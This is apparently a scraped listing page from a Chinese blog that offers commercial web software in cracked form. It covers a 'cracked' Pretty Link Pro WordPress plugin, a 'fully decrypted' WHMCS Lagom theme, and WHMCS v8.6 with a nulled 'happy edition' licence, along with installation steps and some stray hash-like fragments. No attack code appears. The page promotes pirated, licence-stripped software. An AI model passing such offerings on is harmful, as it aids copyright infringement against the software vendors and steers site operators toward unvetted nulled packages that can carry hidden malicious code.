    直接将WEB项目打包好的 dist 目录上传到服务器即可。注意服务器IP地址位置!

    Vercel

    如果你将其托管在自己的 Vercel 服务器上,可点击 deploy 按钮来开始你的部署!

  • Pretty Link Pro v3.4.2破解版 – URL 缩短 WordPress 插件

    Pretty Link Pro v3.4.2破解版 – URL 缩短 WordPress 插件

    从您的内容中赚钱

    Pretty Links 会自动从您现有的和新的内容中释放更多的联盟收入……把它想象成一个惊喜的继承!

    将您的内容货币化的最简单、最有效的方法

    如果您可以一次性将附属链接添加到 WordPress,然后智能地自动将您的链接放置在您的所有内容中,那不是很好吗?

    这正是 Pretty Links 为您所做的。

    梳理您网站上的每个页面以找到添加附属链接的位置既乏味又耗时。即使使用基本的附属链接隐藏器,也不可能手动将最佳附属链接放置在您网站的每个页面、帖子和小部件上。

    换句话说,手动管理会员链接就像把钱留在桌上。

    Pretty Links 将这笔钱放在您的口袋里。

    用于电子邮件、播客、YouTube 等的可共享品牌附属链接

    很难通过播客、视频或印刷品来推广附属产品。那是因为附属链接通常是巨大的、丑陋的、难以阅读的,甚至更难记住。然后是电子邮件,众所周知,附属链接会失效。

    幸运的是有更好的方法。

    Pretty Links 将那些丑陋、冗长的附属链接转变为干净、令人难忘、可说、完全可共享的链接。作为链接伪装者、二维码生成器和品牌链接创建者,Pretty Links 将您的网站变成一个强大的 URL 缩短器和赚钱机器。

  • WHMCS主题Lagom v.2.1.2全解密

    WHMCS主题Lagom v.2.1.2全解密

    Lagom主题是一个完全响应的WHMCS模板,可提供不同样式和布局的选择,以提供最终的用户体验。

    选择您喜欢的样式,根据自己的喜好调整布局,然后…为您的客户带来难忘的用户体验!让他们立即看到通过WHMCS进行导航从未如此流畅和直观!

     

    模板特性

    • 不同的布局 -在5种不同的导航之间选择。
    • 不同的样式 -在3种不同的主题样式之间选择。
    • 订单 -通过更直观的WHMCS订购体验来促进销售。
    • 完全响应 -Lagom是完全响应的WHMCS主题,旨在始终显得清晰,并在每台设备上利用100%的屏幕空间。
    • 简单的管理 -为WHMCS业务选择最佳的样式和布局。
    • 轻松商标 -只需单击几下即可在WHMCS主题中添加徽标和图标。
    • 开发人员友好 -使用Sass轻松添加自定义WHMCS样式和专用布局。
    • RTL支持
    • 能够为主题页面创建模板。
    • 能够覆盖模板.tpl文件。
    • 可以在TLD下拉列表中搜索域TLD9dbc4079800f99200c735b52f116b093

     

    演示截图

    15515-892-da3caa2d1714e0bee9dcc7f5669fd065

     

    510067

    510649

    511321

     

    lo

     

     

    lo2

     

     

     

    lo34

    本2.1.2版本已经适配最新的WHMCS 8.6.0,whmcs可以在这里下载

    [b2_insert_post id=”613″]

  • WHMCS v8.6 原版下载及开心版授权安装

    WHMCS v8.6 原版下载及开心版授权安装

    软件简介:

    WHMCS 是一套国外流行的域名主机管理软件,主要在用户管理、财务管理、域名接口、服务器管理面板接口等方面设计的非常人性化。WHMCS 是一套全面支持域名注册管理解析,主机开通管理,VPS 开通管理和服务器管理的一站式管理软件。

    特色功能:

    财务——支持多种货币,自动生成账单;
    自动化——在线支付、退款、自动开通域名主机;
    容易使用——界面清爽,支持多种语言(中文需下载中文翻译包);
    产品设置——自由定义按月、按年等,可设置开通邮件;
    后台支持——完善的工单系统;
    模块——支持开通、暂停、删除、升级、解析域名等;
    自定义——支持自定义模板,CSS,订单,语言等;
    界面——前台订购页面支持多种模板选择;
    支付——支持 Paypal 等主流支付方式(支付宝等国内支付工具插件需手动集成);
    推介——有自己的推介系统,用户通过推介连接购买推介人可以提成;
    二次开发——提供开发模板和 API 文档。
    ……

    系统需求:

    – PHP Version 5.6.x 或更高
    – MySQL Version 5.5.x 或更高版本
    – Curl Support (with SSL support)
    – GD Image Library
    – ionCube Loaders 6.0.4 及更高

    WHMCS 安装简要步骤:

    1、解压缩文件(如果服务器支持解压缩,可以上传压缩包以后在线解压缩)
    2、将文件 configuration.php.new 改名为 configuration.php
    3、 把 whmcs 文件夹内的所有文件上传到网站 – 如果有问题,改用二进制上传
    4、可以任意命名安装目录(例如 billing, clients 等等)
    5、访问安装脚本进行安装 – 如果遇到了 Ioncube 相关的错误信息, 请参考安装 Ioncube 的安装步骤
    6、 按照提示安装,需要按照下面的说明修改文件夹的权限,输入 license key ,设置管理员帐户。
    7、完成以后,删除安装目录,把 configuration.php 文件的权限修改为 644
    8、需要修改权限的文件夹及文件(如果是suPHP 或 PHPSuExec不需要修改):
    /configuration.php 修改为 777 可写
    /attachments 修改为 777 可写
    /downloads 修改为 777 可写
    /templates_c 修改为 777 可写

    WHMCS 安装后推荐步骤

    1、登录管理后台,配置 General Settings (Configuration > General Settings)
    2、设置支付网关(Configuration > Payment Gateways)
    3、设置商品和服务(Configuration > Products/Services)
    4、设置域名价格(Configuration > Domain Pricing)
    5、设置工单部门(Configuration > Support Departments)
    6、设置邮件推送,从而用 WHMCS 管理邮件
    7、设置自动任务(Configuration > Automation Settings)
    8、测试各项功能是否正常
    9、设置 configuration.php 为 444 只读。

    WHMCS 8 原版下载